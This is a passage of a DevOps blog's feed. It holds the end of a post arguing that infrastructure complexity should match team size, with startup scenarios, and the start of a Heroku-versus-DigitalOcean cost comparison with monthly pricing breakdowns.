              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before adopting complex infrastructure, answer these questions:</p>
<h3 id="h3-1-does-this-solve-an-actual-problem-we-have-today" class="group relative scroll-mt-24">
        <a href="#h3-1-does-this-solve-an-actual-problem-we-have-today" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Does this solve an actual problem we have today?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-does-this-solve-an-actual-problem-we-have-today"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Not valid</strong>:</p>
<ul>
<li>&quot;We might need this in the future&quot;</li>
<li>&quot;Google uses this approach&quot;</li>
<li>&quot;It is industry best practice&quot;</li>
</ul>
<p><strong>Valid</strong>:</p>
<ul>
<li>&quot;Our current setup costs $X and this would save $Y&quot;</li>
<li>&quot;This will reduce deploy time from 45 minutes to 10 minutes&quot;</li>
<li>&quot;Three teams independently built the same thing, a shared platform would eliminate duplication&quot;</li>
</ul>
<h3 id="h3-2-do-we-have-operational-capacity-to-maintain-this" class="group relative scroll-mt-24">
        <a href="#h3-2-do-we-have-operational-capacity-to-maintain-this" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Do we have operational capacity to maintain this?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-do-we-have-operational-capacity-to-maintain-this"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Rule of thumb</strong>: Complex infrastructure needs 1 dedicated engineer for every 30-40 product engineers consuming it. If you cannot staff that, you cannot maintain the infrastructure.</p>
<h3 id="h3-3-what-is-the-cost-if-we-wait-six-months" class="group relative scroll-mt-24">
        <a href="#h3-3-what-is-the-cost-if-we-wait-six-months" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. What is the cost if we wait six months?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-what-is-the-cost-if-we-wait-six-months"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If the answer is &quot;not much,&quot; wait. Complexity is easier to add than remove.</p>
<h3 id="h3-4-can-we-experiment-cheaply" class="group relative scroll-mt-24">
        <a href="#h3-4-can-we-experiment-cheaply" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Can we experiment cheaply?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-can-we-experiment-cheaply"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Good pattern: Run new infrastructure for one non-critical service for a quarter. Measure:</p>
<ul>
<li>Operational overhead (incidents, debugging time)</li>
<li>Impact on velocity (deploy frequency, time to production)</li>
<li>Engineering satisfaction (do people like working with this?)</li>
</ul>
<p>If metrics improve, expand gradually. If not, abandon without sunk cost fallacy.</p>
<hr>
<h2 id="h2-real-world-scenarios" class="group relative scroll-mt-24">
        <a href="#h2-real-world-scenarios" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Scenarios
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-scenarios"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-scenario-a-series-a-saas-company" class="group relative scroll-mt-24">
        <a href="#h3-scenario-a-series-a-saas-company" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario A: Series A SaaS Company
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-a-series-a-saas-company"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Context</strong>:</p>
<ul>
<li>35 engineers, $2M ARR, Series A funded</li>
<li>Currently on Heroku, spending $8K/month</li>
<li>CTO wants to move to Kubernetes + Istio for &quot;scalability&quot;</li>
</ul>
<p><strong>Analysis</strong>:</p>
<ul>
<li>Migration costs: 3 months, 2 engineers full-time ($75K opportunity cost)</li>
<li>Ongoing maintenance: 1 engineer at 50% time ($75K/year)</li>
<li>Cost savings: ~$4K/month ($48K/year)</li>
<li><strong>Net annual impact</strong>: -$27K/year (maintenance costs exceed savings)</li>
<li><strong>Total 3-year cost</strong>: $156K (vs. $0 staying on Heroku)</li>
<li><strong>Velocity impact</strong>: 20-30% slower deploys during/after migration</li>
</ul>
<p><strong>Why this does not make financial sense</strong>: You would spend $75K upfront, then lose $27K every year in ongoing costs compared to staying on Heroku. Over 3 years, that is $156K wasted ($75K initial + $27K × 3 years) for a platform that makes deploys slower.</p>
<p><strong>Recommendation</strong>: Stay on Heroku until monthly costs exceed $15K or you hit platform limitations. Even then, move to plain Kubernetes without Istio. Only consider Istio at 100+ engineers.</p>
<h3 id="h3-scenario-b-series-b-e-commerce-platform" class="group relative scroll-mt-24">
        <a href="#h3-scenario-b-series-b-e-commerce-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario B: Series B E-commerce Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-b-series-b-e-commerce-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Context</strong>:</p>
<ul>
<li>80 engineers, $15M ARR, Series B funded</li>
<li>Monolithic Rails app handling 5000 req/sec</li>
<li>Engineering VP wants to break into 50 microservices</li>
</ul>
<p><strong>Analysis</strong>:</p>
<ul>
<li>Current pain: Deploy takes 45 minutes, CI queue is bottleneck</li>
<li>Microservices migration: 12-18 months, 8-10 engineers</li>
<li>Operational complexity increase: 5x</li>
<li>Alternative: Extract 3-5 high-traffic services, keep core monolith</li>
</ul>
<p><strong>Recommendation</strong>: Extract billing service, search service, and recommendation engine. Keep everything else in monolith. This gets 80% of benefits (faster deploys for high-change areas) with 20% of complexity. Revisit full microservices at 150+ engineers.</p>
<h3 id="h3-scenario-c-series-c-b2b-saas" class="group relative scroll-mt-24">
        <a href="#h3-scenario-c-series-c-b2b-saas" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario C: Series C B2B SaaS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-c-series-c-b2b-saas"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Context</strong>:</p>
<ul>
<li>120 engineers, $40M ARR, Series C funded</li>
<li>15 services on Kubernetes, growing team coordination problems</li>
<li>Engineering teams blocked waiting for infrastructure changes</li>
</ul>
<p><strong>Analysis</strong>:</p>
<ul>
<li>Pain point: Infrastructure team (3 engineers) is bottleneck</li>
<li>Product teams lose 2-3 days per sprint waiting for infra changes</li>
<li><strong>ROI of platform team</strong>: 6 platform engineers could unblock 100 product engineers</li>
</ul>
<p><strong>Recommendation</strong>: Invest in platform team. At this scale, centralized infrastructure with self-service tooling pays for itself. Build internal developer platform with terraform modules, deploy pipelines, and golden path templates.</p>
<hr>
<h2 id="h2-the-cost-of-getting-this-wrong" class="group relative scroll-mt-24">
        <a href="#h2-the-cost-of-getting-this-wrong" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Cost of Getting This Wrong
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-cost-of-getting-this-wrong"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Over-engineering does not just waste money—it compounds into organizational debt:</p>
<ol>
<li><strong>Talent drain</strong>: Your best engineers leave because they joined to build products, not manage infrastructure</li>
<li><strong>Slowed hiring</strong>: Complex tech stack means longer onboarding, harder to hire, narrower candidate pool</li>
<li><strong>Competitive disadvantage</strong>: While you are debugging your service mesh, competitors are shipping features</li>
<li><strong>Technical bankruptcy</strong>: Eventually you simplify, but migration costs 2-3x the initial implementation</li>
</ol>
<p>The companies that win are not the ones with the most sophisticated infrastructure. They are the ones that match infrastructure complexity to actual organizational needs.</p>
<hr>
<h2 id="h2-getting-it-right-start-simple-add-deliberately" class="group relative scroll-mt-24">
        <a href="#h2-getting-it-right-start-simple-add-deliberately" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Getting It Right: Start Simple, Add Deliberately
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-getting-it-right-start-simple-add-deliberately"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The best engineering organizations follow this principle:</p>
<p><strong>Choose boring technology until you have specific reasons to choose exciting technology.</strong></p>
<p>Boring technology:</p>
<ul>
<li>Has been in production for 5+ years</li>
<li>Has large community and good documentation</li>
<li>Has obvious operational characteristics</li>
<li>Solves well-understood problems</li>
</ul>
<p>Examples: PostgreSQL, Redis, nginx, monolithic applications, Docker, managed Kubernetes.</p>
<p>Exciting technology:</p>
<ul>
<li>Cutting-edge features and capabilities</li>
<li>Smaller community, evolving best practices</li>
<li>Requires specialist knowledge</li>
<li>Solves emerging problems</li>
</ul>
<p>Examples: Service meshes, event sourcing, CQRS, multi-cloud Kubernetes federation.</p>
<p>Use boring technology for 90% of your infrastructure. Reserve exciting technology for the 10% where it solves specific, validated problems that boring technology cannot address.</p>
<hr>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><p><strong>Complexity should trail team size by 12-18 months</strong>, not lead it. If you are at 30 engineers planning infrastructure for 100, you are over-engineering.</p>
</li>
<li><p><strong>Every additional system costs 5-10% of an engineer productive capacity</strong> to maintain. At 30 engineers, you can afford 3-4 major systems. At 100 engineers, you can afford 10-12.</p>
</li>
<li><p><strong>Platform teams need critical mass to be effective</strong>. Below 60 engineers, distributed infrastructure ownership works better than centralized platform teams.</p>
</li>
<li><p><strong>Infrastructure decisions are organizational decisions</strong>. Choose systems based on your team current capabilities, not theoretical future state.</p>
</li>
<li><p><strong>The cost of waiting is usually low</strong>. If you are not sure whether you need a new system, you probably do not. Adopt it when the pain of not having it is obvious.</p>
</li>
</ol>
<p>Engineering leadership is about making tradeoffs. The best CTOs are not the ones who build the most sophisticated infrastructure—they are the ones who build just enough infrastructure to enable their teams to ship great products.</p>
<p>At 50 engineers, your competitive advantage is not your service mesh. It is your ability to ship features faster than competitors. Keep infrastructure boring, keep teams focused, and save the sophisticated architecture for when you have earned the scale to justify it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Heroku vs Self-Hosting: A Cost-Benefit Analysis for 2026]]></title>
      <link>https://devops-daily.com/posts/heroku-vs-self-hosting-cost-analysis</link>
      <description><![CDATA[A transparent breakdown of Heroku costs versus self-hosting alternatives. Real numbers, honest tradeoffs, and a framework to help you decide when to make the switch.]]></description>
      <pubDate>Tue, 03 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/heroku-vs-self-hosting-cost-analysis</guid>
      <category><![CDATA[Cloud]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Heroku]]></category><category><![CDATA[Self-Hosting]]></category><category><![CDATA[Cost Optimization]]></category><category><![CDATA[DigitalOcean]]></category><category><![CDATA[Cloud Economics]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Heroku&#39;s convenience comes at a premium: typical production workloads cost $500-2,000/month. Self-hosting equivalent infrastructure on <a href="https://m.do.co/c/2a9bba940f39">DigitalOcean</a> runs $24-100/month. But the real cost difference isn&#39;t just dollars—it&#39;s engineer time, operational complexity, and risk. This guide breaks down actual costs, hidden expenses, and provides a framework to determine if self-hosting makes sense for your specific situation. Includes transparent Total Cost of Ownership (TCO) calculations and honest tradeoff analysis.</p>
<hr>
<h2 id="h2-why-this-analysis-exists" class="group relative scroll-mt-24">
        <a href="#h2-why-this-analysis-exists" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Analysis Exists
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-analysis-exists"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Heroku bills can escalate quickly. A typical production application with standard performance dynos, PostgreSQL, Redis, and review apps easily runs $1,000-2,000/month. Meanwhile, equivalent infrastructure on self-managed cloud providers costs $50-100/month for raw compute.</p>
<p>The infrastructure price gap is real. But comparing prices alone is misleading.</p>
<p>This analysis examines:</p>
<ul>
<li><strong>Direct costs</strong>: Heroku vs self-hosting infrastructure pricing</li>
<li><strong>Hidden costs</strong>: Engineer time, operational overhead, tooling, incidents</li>
<li><strong>Total Cost of Ownership (TCO)</strong>: What it actually costs to run production infrastructure</li>
<li><strong>Risk factors</strong>: What you gain and lose with each approach</li>
<li><strong>Decision framework</strong>: When self-hosting makes sense (and when it doesn&#39;t)</li>
</ul>
<p>All numbers reflect 2026 pricing and assume a standard web application: API backend, PostgreSQL database, Redis cache, background job processing.</p>
<h2 id="h2-the-heroku-pricing-model" class="group relative scroll-mt-24">
        <a href="#h2-the-heroku-pricing-model" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Heroku Pricing Model
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-heroku-pricing-model"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Heroku charges for compute (dynos), add-ons (databases, caching), and data transfer. Costs scale linearly with resources.</p>
<h3 id="h3-sample-production-architecture-on-heroku" class="group relative scroll-mt-24">
        <a href="#h3-sample-production-architecture-on-heroku" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sample Production Architecture on Heroku
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sample-production-architecture-on-heroku"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Let&#39;s price out a realistic production setup:</p>
<pre><code>Production Application Requirements:
- Web API (Node.js/Python/Ruby)
- Background job processing
- PostgreSQL database
- Redis for caching/sessions
- Staging environment
- Review apps for PRs
</code></pre><p><strong>Heroku Cost Breakdown:</strong></p>
<pre><code>Production Dynos:
  2x Standard-2X web dynos ($50/ea)       = $100/month
  1x Standard-2X worker dyno ($50)        = $50/month

Production Add-ons:
  Heroku Postgres Standard-0 ($50)        = $50/month
  Heroku Redis Premium-0 ($60)            = $60/month
  Papertrail logs ($7)                    = $7/month

Staging Environment:
  1x Standard-1X dyno ($25)               = $25/month
  Postgres Mini ($5)                      = $5/month
  Redis Mini ($3)                         = $3/month

Review Apps (avg 3 active):
  3x Eco dynos ($5/ea)                    = $15/month
  3x Postgres Mini ($5/ea)                = $15/month

Data Transfer (typical):
  Estimated outbound bandwidth            = $50/month

TOTAL: $380/month (minimal production)
</code></pre><p><strong>This is conservative.</strong> Scale up for higher traffic:</p>
<pre><code>Higher Traffic Production:
  4x Performance-M dynos ($250/ea)        = $1,000/month
  2x Performance-M workers ($250/ea)      = $500/month
  Postgres Standard-2 ($200)              = $200/month
  Redis Premium-5 ($350)                  = $350/month
  Logging/monitoring                      = $50/month
  Staging + review apps                   = $100/month
  Data transfer                           = $100/month

TOTAL: $2,300/month (medium traffic)
</code></pre><h3 id="h3-what-you-get-with-heroku" class="group relative scroll-mt-24">
        <a href="#h3-what-you-get-with-heroku" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What You Get with Heroku
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-you-get-with-heroku"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Heroku&#39;s pricing includes significant operational value:</p>
<ul>
<li><strong>Zero infrastructure management</strong>: No servers to patch, monitor, or maintain</li>
<li><strong>Automated deployments</strong>: Git push deploys with buildpacks</li>
<li><strong>Automatic SSL</strong>: Free certificates with auto-renewal</li>
<li><strong>Built-in CI/CD</strong>: Review apps and pipelines included</li>
<li><strong>Managed databases</strong>: Automated backups, failover, maintenance</li>
<li><strong>Scaling</strong>: Instant horizontal/vertical scaling via CLI or dashboard</li>
<li><strong>Add-on ecosystem</strong>: 150+ integrations (logging, monitoring, caching)</li>
<li><strong>Platform maintenance</strong>: Security patches, runtime updates handled</li>
<li><strong>24/7 support</strong>: Available on paid plans</li>
<li><strong>Compliance</strong>: SOC 2, ISO 27001, PCI DSS certified</li>
</ul>
<p>The premium pays for <strong>not having to think about infrastructure</strong>.</p>
<h2 id="h2-the-self-hosting-alternative" class="group relative scroll-mt-24">
        <a href="#h2-the-self-hosting-alternative" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Self-Hosting Alternative
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-self-hosting-alternative"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Self-hosting gives you control and dramatically lower infrastructure costs. But it transfers operational responsibility to your team.</p>
<h3 id="h3-sample-self-hosted-architecture" class="group relative scroll-mt-24">
        <a href="#h3-sample-self-hosted-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sample Self-Hosted Architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sample-self-hosted-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Same application requirements, hosted on DigitalOcean:</p>
<p><strong>Option 1: Basic Self-Hosted ($24-50/month)</strong></p>
<pre><code>Infrastructure:
  Basic Droplet (4GB RAM, 2 vCPU, 80GB SSD) = $24/month
  Automated backups (20% of droplet)        = $5/month

Software (self-managed on droplet):
  PostgreSQL (installed on droplet)         = $0
  Redis (installed on droplet)              = $0
  Nginx reverse proxy                       = $0
  Docker + Docker Compose                   = $0

TOTAL: $29/month
</code></pre><p><strong>Option 2: Managed Services ($80-120/month)</strong></p>
<pre><code>Infrastructure:
  Basic Droplet (4GB RAM, 2 vCPU)           = $24/month
  Managed PostgreSQL (1GB, 10GB disk)       = $15/month
  Managed Redis (1GB)                       = $15/month
  Load Balancer (for HA)                    = $12/month
  Automated backups                         = $5/month
  Monitoring (Uptime Robot free tier)       = $0
  DNS (Cloudflare free tier)                = $0

TOTAL: $71/month
</code></pre><p><strong>Option 3: Production-Grade Self-Hosted ($150-250/month)</strong></p>
